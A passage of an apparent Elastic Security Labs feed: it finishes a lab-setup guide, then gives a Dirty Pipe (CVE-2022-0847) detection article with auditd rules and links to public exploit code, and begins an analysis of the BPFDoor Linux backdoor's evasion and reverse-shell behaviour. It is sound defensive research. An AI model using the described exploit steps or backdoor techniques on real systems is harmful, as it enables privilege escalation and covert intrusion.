<p>Before we add any agents, we’ll want to set our Elastic Agent to Detect (so that it allows the malware to completely execute), register the Elastic Agent as a trusted AV solution (Windows only), and instruct the Endpoint and Cloud Security integration to collect memory samples from security events. This is tremendously helpful for “fileless” malware that injects directly into memory, like Cobalt Strike.</p>
<blockquote>
<p>If you want to learn more about extracting malware beacons from events generated by the Elastic Agent, check out our other <a href="https://www.elastic.co/pt/security-labs/collecting-cobalt-strike-beacons-with-the-elastic-stack">publications</a> and <a href="https://github.com/elastic/malware-exquacker">repositories</a>.</p>
</blockquote>
<p>To allow the malware to continue to execute, on your “Windows” policy page, click on the name of the integration (“security” in our example), set the Protection level to “Detect”.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image25.jpg" alt="Setting the Protection level to Detect" /></p>
<p>Repeat these steps for the Ransomware, Memory threat protections, and Malicious behavior sections.</p>
<blockquote>
<p>We’re setting the Elastic Agent to Detect so that the malware we’re detonating will run completely so that we can analyze the entire execution chain. If you want the malware to be stopped, you can leave this in Prevent mode.</p>
</blockquote>
<p>Next, scroll to the bottom and select the “Register as antivirus” toggle and click on the “Show advanced settings” hyperlink.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image18.jpg" alt="Register as antivirus" /></p>
<p>Scroll down to <strong>windows.advanced.memory_protection.shellcode_collect_sample</strong> , <strong>windows.advanced.memory_protection.memory_scan_collect_sample</strong> , and <strong>windows.advanced.memory_protection.shellcode_enhanced_pe_parsing</strong> options and set the value to <strong>true</strong>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image26.jpg" alt="Enabling sample collection" /></p>
<blockquote>
<p>As mentioned above, these steps are for labs, sandboxes, testing, etc. These settings can generate a lot of data, so setting these for production will need resourcing and sizing considerations.</p>
</blockquote>
<p>If you’re making a policy for Linux or macOS, repeat these for the proper OS.</p>
<p>Once we’re done with all of the post-installation configurations, we can click the blue Save integration button.</p>
<h2>Enabling Elastic’s Prebuilt Detection Rules</h2>
<p>Now that we have created our Fleet agent policy we need to enable the set of pre-built detection rules associated with the OS or platform we will be deploying on (e.g Windows). To do this you will need to go to the Alerts page within the security app.</p>
<p>Click on the hamburger menu and select Alerts, under the Security solution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Home_-_Elastic.jpg" alt="Access the Alerts section" /></p>
<p>Next, click on the blue Manage Rules button.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Alerts_-_Kibana.jpg" alt="Access the Manage rules interface" /></p>
<p>Once on the Rules page you can update all of the prebuilt rules provided by Elastic by clicking on the “Update Elastic prebuilt rules” button. The update framework is enabled when you go into the “Manage rules” section for the first time, if the “Update Elastic prebuilt rules” button isn’t present, refresh the screen.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Rules_-_Kibana.jpg" alt="Update Elastic prebuilt rules" /></p>
<p>Once the rules have been updated, you can browse the available detection rules, search them by a number of different patterns or simply filter by tag, which is what we will do here by searching for Windows rules.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Rules_-_Kibana-2.jpg" alt="Filter for Windows rules" /></p>
<p>Now we can select all of the Windows rules.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Rules_-_Kibana-3.jpg" alt="Selecting all Windows rules" /></p>
<p>Once all of the rules have been selected, we can bulk enable them.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/Rules_-_Kibana-4.jpg" alt="Bulk enable Windows rules" /></p>
<blockquote>
<p>As the Elastic Container Project runs completely inside single Docker containers, performance impacts could be noticed if you enable all of the rules available. Explore the different rules and enable or disable them based on your infrastructure and use cases.</p>
</blockquote>
<p>After we have enabled these rules they will be live and will be run against the data your endpoint agent sends into your stack. When the Detection Engine rules are triggered, they will be raised in the Alerts page in the Security Solution.</p>
<h2>Enrolling an Elastic Agent</h2>
<p>Still in Fleet, we have several ways to add an Elastic Agent. The most straightforward is from within the policy that we want to enroll an Elastic Agent into (otherwise you have to specify which policy you want to use). It doesn’t really matter which approach you use, but clicking on the Actions button and then Add agent works from just about anywhere in Fleet.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image8.jpg" alt="Adding Elastic Agent" /></p>
<p>Scroll down and click on the OS that you’re going to be installing the Elastic Agent on, and copy/paste the instructions directly into a terminal window on the host you’re going to be installing the agent onto. Note, if you’re using Windows, use a Powershell CLI that is running as (or elevated to) an account with administrative entitlements.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image22.png" alt="Powershell commands to add an Elastic Agent" /></p>
<p>Of note, because all of our TLS certificates are self-signed, we need to append the <strong>–insecure</strong> flag. This is unnecessary if you are using trusted certificates.</p>
<pre><code>**.\elastic-agent.exe install --url=https://[stack-ip]:8220 --enrollment-token=[token] --insecure**
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image23.jpg" alt="Enrolling the Elastic Agent into Fleet" /></p>
<p>Back in Kibana, we can see confirmation that the Elastic Agent installed on the host and that data is being recorded into Elasticsearch.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image2.jpg" alt="Verifying Elastic Agent enrollment" /></p>
<p>We can see that the Elastic Agent is reporting into Fleet and is healthy.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image28.png" alt="Verify Elastic Agent health" /></p>
<p>If we go into the Discover tab, we can see various event types reporting into Elasticsearch. We can generate some test data by opening <strong>notepad.exe</strong> , <strong>calc.exe</strong> , and <strong>ping.exe -t <a href="http://www.elastic.co/pt">www.elastic.co</a></strong> on the host. From Discover, we can make a simple query to validate that we’re seeing the data:</p>
<pre><code>**process.name.caseless : (notepad.exe or ping.exe or calc.exe)**
</code></pre>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image7.png" alt="Verifying data is being sent to Elasticsearch" /></p>
<p>Now that we’ve validated that we’re seeing data. Let's fire some malware!</p>
<h2>Test fire some malware</h2>
<p>There are a lot of places you can download malware from, but for this test, we’ll simply use the industry standard <a href="https://www.eicar.org/download-anti-malware-testfile/">EICAR anti malware test file</a> to check the functionality.</p>
<p>The EICAR test is a file that is universally identified by security vendors and is used to test the operation of anti malware software and platforms. It contains a single string and is non-malicious.</p>
<p>From within the Windows host, we’ll use Powershell to download the EICAR file.</p>
<pre><code>**Invoke-WebRequest -Uri &quot;https://secure.eicar.org/eicar.com.txt&quot; -OutFile &quot;eicar.txt&quot;**
</code></pre>
<p>As expected, the event was immediately identified by the Elastic Agent’s security integration.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image29.jpg" alt="Elastic Security detected the EICAR test file" /></p>
<p>After a few minutes, the events are recorded into the Security Solution within Kibana. You can get there by clicking on the hamburger menu and then clicking on the Alerts section.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image9.jpg" alt="Viewing Security alerts" /></p>
<p>Here we can see the alert populated.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image11.png" alt="Alert in the Security Solution" /></p>
<p>If we click on the Analyzer button, we can dig into the event to identify the process that generated the event.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image12.jpg" alt="Analyzer button" /></p>
<p>In our example, we can see <strong>powershell.exe</strong> generated the event and this includes the correlated network events - <strong>secure.eicar.org</strong> , which is where the EICAR test file was downloaded from.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/image13.jpg" alt="Analyzer view" /></p>
<h2>Summary</h2>
<p>In this publication, we introduced you to the Elastic Stack and an open source project that can be used to quickly and securely stand up the entire stack for testing, labs, and security research.</p>
<p>Kibana and the Security Solution are powerful tools that are built by incident responders, threat hunters, and intelligence analysts with security practitioners in mind. To learn more about how to use these tools, <a href="https://www.elastic.co/pt/training/">Elastic has some great (free and paid) training</a> that can help learn how to use Kibana for threat hunting.</p>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/the-elastic-container-project/blog-thumb-container-barge.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Detecting and responding to Dirty Pipe with Elastic]]></title>
            <link>https://www.elastic.co/pt/security-labs/detecting-and-responding-to-dirty-pipe-with-elastic</link>
            <guid>detecting-and-responding-to-dirty-pipe-with-elastic</guid>
            <pubDate>Fri, 09 Sep 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security is releasing detection logic for the Dirty Pipe exploit.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p>Dirty Pipe is a local privilege escalation vulnerability that is easily exploitable with a handful of working exploit POCs already available. Its broad scope (any user-readable file and affected Linux versions) along with its evolving nature (the SUID shell backdoor exploit) make CVE-2022-0847 especially dangerous for administrators of systems that are potentially vulnerable.</p>
<h3>What is Dirty Pipe (CVE-2022-0847)?</h3>
<p><a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847">CVE-2022-0847</a> is a Linux local privilege escalation vulnerability, discovered by security researcher Max Kellermann that takes advantage of the way the Linux kernel manages page files and named pipes allowing for the overwriting of data in read-only files. This vulnerability impacts Linux kernels 5.8 and later until any version before 5.16.11, 5.15.25, and 5.10.102.</p>
<h3>What is the impact?</h3>
<p>With many POC’s already released, this vulnerability can be easily exploited to gain root-level privileges by, for instance, rewriting sensitive files like “/etc/passwd” or hijacking a SUID root binary (like sudo) via injection of malicious code.</p>
<h3>What is Elastic doing about it?</h3>
<p>Elastic is releasing detection logic and Auditd rules that can be used to detect exploitation of this vulnerability.</p>
<h2>Dirty Pipe Details</h2>
<p>The vulnerability can be exploited due to a flaw in the new pipe buffer structure where a flag member lacked proper initialization and could then contain a stale value. This could then be used to write to pages within the page cache behind read-only files, allowing for privilege escalation. Given the specific nature of this vulnerability, detection can be quite difficult.</p>
<h3>Linux Pipes &amp; CVE-2022-0847</h3>
<p><a href="https://man7.org/linux/man-pages/man2/pipe.2.html">Pipes</a> are an interprocess communication mechanism represented as a file within Linux that can receive input data and provide an output for that data. The output of one process can become the input of another using a “pipe” to forward that data between.</p>
<p>Pipes are managed by the CPU in memory and their data is referred to as a “page”.</p>
<p>The exploitation of this vulnerability utilizes a process called “page splicing”. Page splicing is used to merge data between different pipe pages in memory without having to rewrite the data.</p>
<p>The flag we referenced in the summary is the PIPE_BUF_FLAG_CAN_MERGE flag. This must be set in order for a page cache to be merged and is only set when the pipe page becomes full. Howerver, if the page cache is emptied completely this flag remains (lack of initialization) which is where the problem lies.</p>
<p>The exploit functions generally by:</p>
<ol>
<li>Opening a new pipe</li>
<li>Filling the pipe’s page cache with arbitrary data in order to set the PIPE_BUF_FLAG_CAN_MERGE flag</li>
<li>Draining the page cache of data but retaining the PIPE_BUF_FLAG_CAN_MERGE flag and replacing the data with the new data they want to overwrite a read-only file with</li>
<li>The splice (“page splicing”) <a href="https://man7.org/linux/man-pages/man2/syscalls.2.html">syscall</a> is then used to merge the pages (the pipe page and target file page) leading to the new data being added to a target file bypassing the read-only permissions</li>
</ol>
<p>Many of the exploit POCs observed so far target the /etc/passwd file to overwrite and provide the users with elevated root privileges. Other variants of the exploit released allow for the creation of a SUID shell backdoor by overwriting a binary that has SUID permissions (superuser capabilities) giving the user a root shell and complete control.</p>
<p>We anticipate that adversaries and researchers will develop a multitude of other exploitation chains with this particular vulnerability.</p>
<h3>Proof Of Concept Code</h3>
<p>The security community has developed a multitude of different tests that adversaries may take advantage of in future attacks against systems. POCs listed below are authored to help security researchers identify if systems are impacted by the vulnerability, and furthermore - test detection strategies.</p>
<ul>
<li>Original Max Kellermann write-up: <a href="https://dirtypipe.cm4all.com/">https://dirtypipe.cm4all.com/</a></li>
<li>SUID shell: ​​<a href="https://haxx.in/files/dirtypipez.c">https://haxx.in/files/dirtypipez.c</a></li>
<li>Passwd overwrite: <a href="https://github.com/liamg/traitor">https://github.com/liamg/traitor</a></li>
<li>Passwd overwrite: ​​<a href="https://github.com/imfiver/CVE-2022-0847">https://github.com/imfiver/CVE-2022-0847</a></li>
<li>Metasploit module: <a href="https://github.com/rapid7/metasploit-framework/pull/16303">https://github.com/rapid7/metasploit-framework/pull/16303</a></li>
</ul>
<h2>Finding systems vulnerable to Dirty Pipe</h2>
<p>Beyond using a traditional vulnerabilty scanner, there are several ways to detect systems vulnerable to Dirty Pipe.</p>
<h3>Using the Elastic Security Integration</h3>
<p>If you have Auditbeat, Filebeat (with the Auditd module enabled), or the Elastic Agent (with the Security or Auditd integrations deployed) you can use the Lens visualization tool (located in Kibana) to quickly compile and save a list of vulnerable systems as evidenced in the screenshot below:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image7.png" alt="Analyzing your infrastructure for kernel versions impacted by Dirty Pipe" /></p>
<h3>Using the Osquery Manager Integration</h3>
<p>Additionally, you can use the <a href="https://docs.elastic.co/en/integrations/osquery_manager">Osquery Manager integration</a> to collect the kernel information from all endpoints. To do this, you need to add the Osquery Manager integration to an Elastic Agent policy (Integrations → Osquery Manager → Add Osquery Manager). Once you’ve added the integration, you can perform a simple query: SELECT version FROM kernel_info; which will return the hostname and Linux kernel version from all endpoints with the policy.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image3.jpg" alt="Using Osquery Manager to collect kernel versions" /></p>
<h2>Detecting CVE-2022-0847 exploitation using Auditd</h2>
<p><a href="https://linux.die.net/man/8/auditd">Auditd</a> is the userspace component of the Linux Auditing System. Auditd stands for Audit Daemon and is a background running service responsible for collecting and writing log files to disk. The Linux Audit System includes a kernel component that hooks system calls and communicates those to Auditd. Auditd is capable of logging System Calls, File Access, and certain pre-configured Audit events. You can install and enable Auditd for free with the package manager on your Linux distribution of choice.</p>
<h3>Auditd rules</h3>
<p>Auditd rules define what is to be captured and logged. These rules are generally defined in an audit.rules file and placed at /etc/audit/audit.rules or /etc/audit/rules.d/audit.rules. Events are written to /var/log/audit/audit.log on the local system.</p>
<p>Once you have installed and enabled Auditd, you can add the below lines to your audit.rules file to detect Dirty Pipe exploitation attempts.</p>
<pre><code>Dirty Pipe Auditd rules

-a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe
-a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe
-a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe
</code></pre>
<blockquote>
<p>The aforementioned rules were adapted by Elastic Security from initial findings by <a href="https://twitter.com/jonasl/status/1501840914381258756">Jonas LeJon</a>.</p>
</blockquote>
<h2>Linux Auditing System event collection with Elastic</h2>
<p>There are a few different ways to collect Linux Auditing System events using Elastic. You can either use the Elastic Agent with the Auditd integration, Auditbeat, or the Auditd module for Filebeat.</p>
<blockquote>
<p>Remember, if you’re using the Auditd integrations for the Elastic Agent or Filebeat, you’ll need to create the <a href="https://www.elastic.co/pt/security-labs/detecting-and-responding-to-dirty-pipe-with-elastic#auditd-rules">Auditd rules described above</a>.</p>
</blockquote>
<h3>The Elastic Agent w/Auditd Integration</h3>
<p>The Elastic Agent with the <a href="https://docs.elastic.co/en/integrations/auditd">Auditd Integration</a> allows for the collection of Auditd rules. To collect these events, you need to add the Auditd integration to an Elastic Agent policy (Integrations → Auditd → Add Auditd).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image6.png" alt="Elastic Agent Auditd integration" /></p>
<p>Once this integration is installed to an Elastic Agent policy and deployed to endpoints, you will see Auditd events populated in Kibana.</p>
<p>You can verify that you are receiving Auditd events in Kibana by using the Kibana query event.dataset : &quot;auditd.log&quot;.</p>
<h3>Auditbeat</h3>
<p>You can use the <a href="https://www.elastic.co/pt/guide/en/beats/auditbeat/current/auditbeat-module-auditd.html">Auditbeat Auditd module</a> to collect the Linux Audit Framework logs. To do this, <a href="https://www.elastic.co/pt/guide/en/beats/auditbeat/current/auditbeat-installation-configuration.html">install Auditbeat</a>. You might encounter errors if another process besides Auditbeat, such as Auditd, is registered to receive data from the Linux Audit Framework. To prevent this conflict, you can stop and disable Auditd from running.</p>
<pre><code>Stopping and disabling Auditd

sudo service auditd.service stop
sudo chkconfig auditd.service off
</code></pre>
<p>Edit the /etc/auditbeat/auditbeat.yml file to point to your local, remote, or cloud cluster and add the Dirty Pipe rules provided above in the Auditd rules section.</p>
<pre><code>Adding Dirty Pipe detection rules to the Auditbeat configuration file

# ===== Modules configuration =====

auditbeat.modules:

* module: auditd

# Load audit rules from separate files. Same format as audit.rules(7)

  audit_rule_files: [ '${path.config}/audit.rules.d/*.conf' ]
  audit_rules: |

## Define audit rules here

## Create file watches (-w) or syscall audits (-a or -A). Uncomment these

## examples or add your own rules

    -a always,exit -F arch=b64 -S splice -F a0=0x3 -F a2=0x5 -F a3=0x0 -F key=dirtypipe
    -a always,exit -F arch=b64 -S splice -F a0=0x6 -F a2=0x8 -F a3=0x0 -F key=dirtypipe
    -a always,exit -F arch=b64 -S splice -F a0=0x7 -F a2=0x9 -F a3=0x0 -F key=dirtypipe

…truncated…
</code></pre>
<p>Check the configuration and connectivity of Auditbeat using the test commands.</p>
<pre><code>Testing the Auditbeat configuration and output settings

sudo auditbeat test config
sudo auditbeat test output
</code></pre>
<p>Run the Auditbeat setup command using sudo auditbeat setup.</p>
<p>Start Auditbeat using sudo systemctl start auditbeat.service.</p>
<p>Now you should be able to verify events are being populated in the auditbeat-* Data View within Kibana.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image4.jpg" alt="Auditbeat Data View in Kibana" /></p>
<h3>Filebeat</h3>
<p>You can use the <a href="https://www.elastic.co/pt/guide/en/beats/filebeat/current/filebeat-module-auditd.html">Auditd module for Filebeat</a> to collect the Auditd logs as well. To do this, <a href="https://www.elastic.co/pt/guide/en/beats/filebeat/current/filebeat-installation-configuration.html">install Filebeat</a> and then enable the Auditd module</p>
<p>sudo filebeat modules enable auditd</p>
<p>Next, go into the Auditd configuration file and enable log collection, test, setup, and then start Filebeat.</p>
<pre><code>Enabling Auditd log in the Filebeat configuration file

sudo vi /etc/filebeat/modules.d/auditd.yml

# Module: auditd

# Docs: &lt;https://www.elastic.co/pt/guide/en/beats/filebeat/master/filebeat-module-auditd.html&gt;

* module: auditd
  log:
    enabled: true

# Set custom paths for the log files. If left empty

# Filebeat will choose the paths depending on your OS

    #var.paths:

</code></pre>
<pre><code>Testing the Filebeat configuration and output settings

sudo filebeat test config
sudo filebeat test output
</code></pre>
<p>Run the Filebeat setup command using sudo filebeat setup.</p>
<p>Start Filebeat using sudo systemctl start filebeat.service.</p>
<h2>Detecting Dirty Pipe with Elastic</h2>
<p>Now that Linux Audit Framework events are being populated by either the Elastic Agent, Auditbeat, or Filebeat, you can run queries to detect exploitation attempts using the Kibana Query Language (KQL) in Discover or the Endpoint Query Language (EQL) in Kibana’s Security → Timelines → New Timeline → Correlation query editor.</p>
<h3>Hunt queries in Kibana</h3>
<p>KQL query compatible with using the Elastic Agent, Auditbeat, or Filebeat:</p>
<pre><code>KQL query to detect Dirty Pipe exploitation attempts

auditd.log.key : dirtypipe and process.name : *

</code></pre>
<p>EQL query compatible with using the Auditbeat:</p>
<pre><code>EQL query to detect Dirty Pipe exploitation attempts

process where tags : &quot;dirtypipe&quot; and not process.name : &quot;&quot;
</code></pre>
<h3>Detection Engine alerts</h3>
<p>You can also create a Detection Engine alert to monitor for exploitation attempts.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image2.jpg" alt="Dirty Pipe Detection Rule" /></p>
<p>Exploitation attempts will be recorded in the Kibana Security Solution in the Alerts section.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image5.png" alt="A preview of alerts created pertaining to the log keys created by Auditd" /></p>
<h2>Respond to Observed Threats</h2>
<p>Elastic makes it easy to quickly respond to a threat by isolating the host while still allowing it to communicate with your stack in order to continue monitoring actions taken and/or remediate the threat.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/dirty-pipe-with-elastic-image1.png" alt="In-platform capabilities of Elastic Security demonstrating response capabilities" /></p>
<h2>Defense in Depth Recommendations</h2>
<p>The following steps can be leveraged to improve a network’s protective posture:</p>
<ol>
<li>Review and ensure that you have deployed the latest stable and vendor-supplied kernel for your OS’</li>
<li>Review and implement the above detection logic within your environment using technology described in the post</li>
<li>Maintain backups of your critical systems to aid in quick recovery</li>
</ol>
<h2>References</h2>
<p>The following research was referenced throughout the document:</p>
<ul>
<li>Exploit CVE reference: <a href="https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0847">CVE-2022-0847</a></li>
<li>Write-up using eBPF for some detections: <a href="https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig/">https://sysdig.com/blog/cve-2022-0847-dirty-pipe-sysdig</a></li>
<li>Original Max Kellermann write-up: <a href="https://dirtypipe.cm4all.com/">https://dirtypipe.cm4all.com/</a></li>
<li>SUID shell: ​​<a href="https://haxx.in/files/dirtypipez.c">https://haxx.in/files/dirtypipez.c</a></li>
<li>Passwd overwrite: <a href="https://github.com/liamg/traitor">https://github.com/liamg/traitor</a></li>
<li>Passwd overwrite: ​​<a href="https://github.com/imfiver/CVE-2022-0847">https://github.com/imfiver/CVE-2022-0847</a></li>
<li>Metasploit module: <a href="https://github.com/rapid7/metasploit-framework/pull/16303">https://github.com/rapid7/metasploit-framework/pull/16303</a></li>
<li>Original Auditd detection logic: <a href="https://twitter.com/jonasl/status/1501840914381258756?s=20&amp;t=MIWwwXpl5t0JiopVxX5M5Q">https://twitter.com/jonasl/status/1501840914381258756?s=20&amp;t=MIWwwXpl5t0JiopVxX5M5Q</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/detecting-and-responding-to-dirty-pipe-with-elastic/photo-edited-01@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[A peek behind the BPFDoor]]></title>
            <link>https://www.elastic.co/pt/security-labs/a-peek-behind-the-bpfdoor</link>
            <guid>a-peek-behind-the-bpfdoor</guid>
            <pubDate>Wed, 13 Jul 2022 00:00:00 GMT</pubDate>
            <description><![CDATA[In this research piece, we explore BPFDoor — a backdoor payload specifically crafted for Linux in order to gain re-entry into a previously or actively compromised target environment.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p><a href="https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896">BPFDoor</a> is a backdoor payload specifically crafted for Linux. Its purpose is for long-term persistence in order to gain re-entry into a previously or actively compromised target environment. It notably utilizes BPF along with a number of other techniques to achieve this goal, taking great care to be as efficient and stealthy as possible. PWC researchers discovered this very interesting piece of malware in 2021. PWC attributes this back door to a specific group from China, Red Menshen, and detailed a number of interesting components in a high-level threat research post released <a href="https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf">last week</a>.</p>
<p>PWC’s findings indicated that ​​Red Menshen had focused their efforts on targeting specific Telecommunications, Government, Logistics, and Education groups across the Middle East and Asia. This activity has been across a Monday-to-Friday working period, between 01:00 UTC and 10:00 UTC, indicating that the operators of the malware were consistent in their attacks, and operation during a working week.</p>
<p>Perhaps most concerningly, the payload itself has been observed across the last 5 years in various phases of development and complexity, indicating that the threat actor responsible for operating the malware has been at it for some time, undetected in many environments.</p>
<blockquote>
<p><strong>BPFDoor Tools</strong></p>
<p>The Elastic Security Team has created a few tools that will aid researchers in analyzing the BPFDoor malware.</p>
<p>The BPFDoor scanner will allow you to scan for hosts infected with the BPFDoor malware and the BPFDoor configuration extractor will allow you to extrapolate the malware’s configuration or hardcoded values which can lead to additional observations you can use for further analysis, developing additional signatures or connecting to the backdoor utilizing our client.</p>
<ul>
<li><a href="https://www.elastic.co/pt/security-labs/bpfdoor-scanner">BPFDoor scanner</a></li>
<li><a href="https://www.elastic.co/pt/security-labs/bpfdoor-configuration-extractor">BPFDoor configuration extractor</a></li>
</ul>
</blockquote>
<h2>Attack Lifecycle</h2>
<p>This inherently passive backdoor payload is built to be a form of persistence – a method to regain access if the first or second stage payloads are lost. It is built for and intended to be installed on high-uptime servers or appliances, IoT/SCADA, or cloud systems with access to the Internet. The backdoor usually sits in temporary storage so if a server were to be rebooted or shut down, the backdoor would be lost.</p>
<p>It should be assumed that if this malware is found on a system the initial-access (1st stage) or post-exploitation (2nd stage) payloads are still most likely present and possibly active elsewhere in the environment. This backdoor excels at stealth, taking every opportunity to blend in and remain undetected.</p>
<p>In the below steps, we will break BPFDoor’s actions down according to the vast majority of the samples available.</p>
<ol>
<li>When executed the binary copies itself into /dev/shm/. A temporary filesystem /dev/shm stands for shared memory and is a temporary file storage facility serving as an efficient means of inter-process communication</li>
<li>Renames its process to kdmtmpflush, a hardcoded process name</li>
<li>Initializes itself with the -init flag and forks itself. Forking in Linux means creating a new process by duplicating the calling process</li>
<li>Deletes itself by removing the original binary invoked. The forked process continues to run</li>
<li>Alters the forked processes’ creation and modification time values, also known as <a href="https://attack.mitre.org/techniques/T1070/006/">timestomping</a></li>
<li>Creates a new process environment for itself and removes the old one setting (spoofing) a new process name. It changes the way it appears on the system akin to wearing a mask. The process is still kdmtmpflush but if you were to run a ps you would see whatever value it set</li>
<li>Creates a process ID (PID) file in /var/run. PID files are text files containing the process of the associated program meant for preventing multiple starts, marking residency, and used by the program to stop itself. This file resides in /var/run, another temporary file storage facility</li>
<li>Creates a raw network socket. On Linux, a socket is an endpoint for network communication that allows you to specify in detail every section of a packet allowing a user to implement their own transport layer protocol above the internet (IP) level</li>
<li>Sets BPF filters on the raw socket. <a href="https://www.kernel.org/doc/html/v5.12/networking/filter.html">BPF</a> allows a user-space program to attach a filter onto any socket and allow or disallow certain types of data to come through the socket</li>
<li>Observes incoming packets</li>
<li>If a packet is observed that matches the BPF filters and contains the required data it is passed to the backdoor for processing</li>
<li>It forks the current process again</li>
<li>Changes the forked processes working directory to /</li>
<li>Changes (spoofs) the name of the forked process to a hardcoded value</li>
<li>Based on the password or existence of a password sent in the “magic packet” the backdoor provides a reverse shell, establishes a bind shell, or sends back a ping</li>
</ol>
<blockquote>
<p><strong>Atypical BPFDoor sample</strong></p>
<p>Of note there is one <a href="https://www.virustotal.com/gui/file/07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d/detection">sample</a> we have come across that does not seem to exhibit steps 1 - 4. It doesn’t alter its initial name to a hardcoded value and simply executes from its placed location, otherwise, it models the same behavior.</p>
</blockquote>
<p>Below you can see visual representations of the BPFDoor process tree, utilizing Elastic’s Analyzer View. The first image displays the tree prior to active use of the backdoor (i.e reverse shell, bind shell, or pingback) and the second image after a reverse shell has connected and performed post-exploitation activities.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/analyzer-view.png" alt="Elastic Analyzer View of the BPFDoor initial invocation process tree" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/bpfdoor_analyzer.png" alt="Elastic Analyzer View of BPFDoor following a reverse shell connection and post exploitation actions" /></p>
<h2>Defense Evasion Insights</h2>
<p>BPFDoor is interesting given the anti-forensics, and obfuscation tactics used. Astute readers will observe slight differences in the PID tree visible when running a ps ajxf on an infected host when compared to executed data within the Analyzer View inside of Elastic. This is due to the process name spoofing mentioned in step 6 (above) of the attack lifecycle above. The image below is taken from a system running BPFDoor with an active reverse shell connection established:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/observed-process.jpg" alt="An observed running process created by the BPFDoor reverse shell" /></p>
<p>The difference lies in the fact that kdmtmpflush and sh are run prior to spoofing, and are captured at runtime by Elastic Endpoint. This is an accurate representation of the processes active on the host, further confirming the importance of appropriate observation software for Linux hosts - you can’t always trust what you see on the local system:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/analyzer-terminated.jpg" alt="Elastic Analyzer View of BPFDoor demonstrating real process capture." /></p>
<p>BPFDoor also holds in its repertoire the ability to subvert the traditional Linux socket client - server architecture in order to hide its malicious traffic. The methods which it utilizes to achieve this are both unusual and intriguing.</p>
<p>The sockets interface is almost synonmous with TCP/IP communication. This simple interface has endured for over 40 years - predating both Linux and Windows implementations.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/a-peek-behind-the-bpfdoor/tcp-ip.png" alt="Example of how TCP/IP and socket interfaces function" /></p>
<p>BPFDoor uses a raw socket (as opposed to ‘cooked’ ones that handle IP/TCP/UDP headers transparently) to observe every packet arriving at the machine, ethernet frame headers and all. While this might sound like a stealthy way to intercept traffic, it’s actually not – on any machine with a significant amount of network traffic the CPU usage will be consistently high.</p>
